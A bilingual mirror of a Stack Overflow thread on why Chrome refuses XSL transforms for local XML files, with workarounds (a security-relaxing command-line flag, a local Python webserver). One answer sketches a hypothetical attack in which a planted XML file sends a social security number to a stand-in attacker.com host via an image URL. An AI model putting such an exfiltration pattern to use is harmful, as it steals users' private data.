xml 可以让 Chrome 对本地文件执行 XSL 转换吗？

Can Chrome be made to perform an XSL transform on a local file?

提问by Zaz

I was looking into xslt and started testing with the examples on w3schools.

我正在研究 xslt 并开始使用 w3schools 上的示例进行测试。

However, when I save the xml and xsl in files and try opening them locally, chrome won't perform the xsl transform. It just shows a blank page.

但是，当我将 xml 和 xsl 保存在文件中并尝试在本地打开它们时，chrome 不会执行 xsl 转换。它只显示一个空白页面。

I have added the<?xml-stylesheet type="text/xsl" href="style.xsl">tag to the xml document, and firefox renders it as it is supposed to look. Also, if I look at the files through a web server, chrome displays the file as it is supposed to look.

我已将<?xml-stylesheet type="text/xsl" href="style.xsl">标签添加到 xml 文档中，firefox 将其呈现为它应有的外观。此外，如果我通过 Web 服务器查看文件，chrome 会按预期显示文件。

Is it that chrome has a problem finding the stylesheet information when the link is local? Changing the href to file:///C:/xsl/style.xsldidn't make any difference.

是不是chrome在本地链接时查找样式表信息有问题？将 href 更改为file:///C:/xsl/style.xsl没有任何区别。

Update:This seems to be a side effect of a security-policy to not treat file:///* as same origin.This makes the following error appear in the console:

更新：这似乎是不将 file:///* 视为同源的安全策略的副作用。这使得控制台中出现以下错误：

Unsafe attempt to load URL file:///C:/xsl-rpg/style.xsl from frame with URL file:///C:/xsl-rpg/data.xml. Domains, protocols and ports must match.

不安全的尝试从带有 URL file:///C:/xsl-rpg/data.xml 的框架加载 URL file:///C:/xsl-rpg/style.xsl。域、协议和端口必须匹配。

采纳答案by Zaz

The short answer is "No, use one of the diverse set of browsersout there".

简短的回答是“不，请使用各种不同的浏览器之一”。

The reason this doesn't work is due to a security concern that Chrome has addressed in a controversial way^[1][2][3][4], by blocking XML files from accessing local XSLT files in the same directory, while HTML files can access .CSS files in the same directory just fine.

这不起作用的原因是由于 Chrome 以一种有争议的方式解决了安全问题^{[1] [2] [3] [4]}，通过阻止 XML 文件访问同一目录中的本地 XSLT 文件，而 HTML files 可以访问同一目录中的 .CSS 文件就好了。

Across the issues cited above, users have asked for a clearer error message (since the domains, protocols and ports do in fact match), or at least displaying the XML without the styling. Chrome developers have ignored these requests.

在上述问题中，用户要求更清晰的错误消息（因为域、协议和端口实际上匹配），或者至少显示没有样式的 XML。Chrome 开发人员忽略了这些请求。

回答by Jake Burton

You can do this locally using Chrome's command line flags.

您可以使用 Chrome 的命令行标志在本地执行此操作。

The specific flag is --allow-file-access-from-files

具体标志是 --allow-file-access-from-files

On OS X: from Terminal.app run /Applications/Google\ Chrome.app/contents/MacOS/Google\ Chrome --allow-file-access-from-files

在 OS X 上：从 Terminal.app 运行 /Applications/Google\ Chrome.app/contents/MacOS/Google\ Chrome --allow-file-access-from-files

On Windows: from the command prompt run %LOCALAPPDATA%\Google\Chrome\Application\chrome.exe --allow-file-access-from-files

在 Windows 上：从命令提示符运行 %LOCALAPPDATA%\Google\Chrome\Application\chrome.exe --allow-file-access-from-files

Note: You will probably have to quit Chrome if it is currently running otherwise Ch

注意：如果 Chrome 当前正在运行，您可能必须退出它，否则 Ch

回答by morpheus

If you want to stick to the OP, the answer is No (as others have pointed out) but one way to fix the problem is to run a simple webserver and open files via http in chrome. If you have python 2.x installed, you can run a webserver by typing:

如果您想坚持使用 OP，答案是否定的（正如其他人所指出的那样），但解决问题的一种方法是运行一个简单的网络服务器并通过 http 在 chrome 中打开文件。如果您安装了 python 2.x，您可以通过键入以下内容来运行网络服务器：

python -m SimpleHTTPServer

Or in python 3.x :

或者在 python 3.x 中：

python3 -m http.server

and then open file using http://localhost:8000/yourfile.xmlin chrome. Hopefully you just want to get your work done and its not a crucial thing to have to open file using file://

然后http://localhost:8000/yourfile.xml在 chrome 中使用打开文件。希望你只是想完成你的工作，而不是必须使用打开文件file://

回答by Ian Boyd

It took a bit of deciphering on the Chrome Bug page - they are very keen on not explaining what the problem is, and why they chose breaking everyone rather than not breaking everyone.

在 Chrome Bug 页面上进行了一些破译 - 他们非常热衷于不解释问题是什么，以及为什么他们选择破坏每个人而不是不破坏每个人。

Assume i have an XML file - somewhere- on my hard drive, e.g.:

假设我的硬盘驱动器上有一个 XML 文件 -某处- 例如：

C:\Users\Ian\Documents\Taxes\StudioTaxReturn_2015.xml

C:\Users\Ian\Documents\Taxes\StudioTaxReturn_2015.xml

And a malicious entity - somehow- managed to drop a malicious Xml file on my computer, e.g.:

一个恶意实体——不知何故——设法在我的电脑上放置了一个恶意的 Xml 文件，例如：

C:\Users\Ian\AppData\LocalLow\Temp\TrojanVirusWorm.xml

C:\Users\Ian\AppData\LocalLow\Temp\TrojanVirusWorm.xml

Imagine TrojanVirusWorm.xmlcontains a stylesheet Processing Instruction (PI):

想象一下TrojanVirusWorm.xml包含一个样式表处理指令 ( PI)：

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>

The attacker then instructs my browser to navigate to the locally saved trojanVirusWorm.xmlfile.

然后攻击者指示我的浏览器导航到本地保存的trojanVirusWorm.xml文件。

Apparently there's a way that an XML file can readthe contents of the XSD file (rather than being transformed by the XSD file):

显然有一种方法可以让 XML 文件读取XSD 文件的内容（而不是被 XSD 文件转换）：

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>
   <!--And then a miracle happens, and this XML file is able to read
       the contents of the stylesheet xml file-->
<html>
   <img src="http://attacker.com/UploadSocialSecurityNumber&ssn=..."></img>
</html>

I don't understand how an XML file can read a stylesheet file. But the Chrome team assures us that it's a danger, and that it cannot be solved.

我不明白 XML 文件如何读取样式表文件。但 Chrome 团队向我们保证，这是一种危险，无法解决。

Every other browser solved it. They solved it because it's not a problem.

所有其他浏览器都解决了它。他们解决了它，因为这不是问题。

回答by Greg Eremeev

My workaround to see an xml according to an xsl file

我根据 xsl 文件查看 xml 的解决方法

Suppose we have an some_file.xml with headers:

假设我们有一个带有标题的 some_file.xml：

<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="https://some-site.com/Common.xsl"?>

1. We download the file https://some-site.com/Common.xsland place it next to the some_file.xml
2. Change part of our header from href="https://some-site.com/Common.xsl"to href="http://localhost:8001/Common.xsl"
3. Run in the directory with our files - python3 -m http.server 8001
4. Open in any browser http://localhost:8001/some_file.xml

1. 我们下载文件https://some-site.com/Common.xsl并将其放在some_file.xml
2. 将标题的一部分从 更改href="https://some-site.com/Common.xsl"为 href="http://localhost:8001/Common.xsl"
3. 在包含我们文件的目录中运行 - python3 -m http.server 8001
4. 在任何浏览器中打开 http://localhost:8001/some_file.xml

回答by Ryan C. Perry

You can enable Chrome to render the XSL file by changing your browser settings. A safer approach would be to access it via a local webserver, such as Visual Studio Code Live Server or Apache. See XSLT Won't Render on Local Filesfor steps.

您可以通过更改浏览器设置使 Chrome 能够呈现 XSL 文件。更安全的方法是通过本地 Web 服务器访问它，例如 Visual Studio Code Live Server 或 Apache。有关步骤，请参阅XSLT 不会在本地文件上呈现。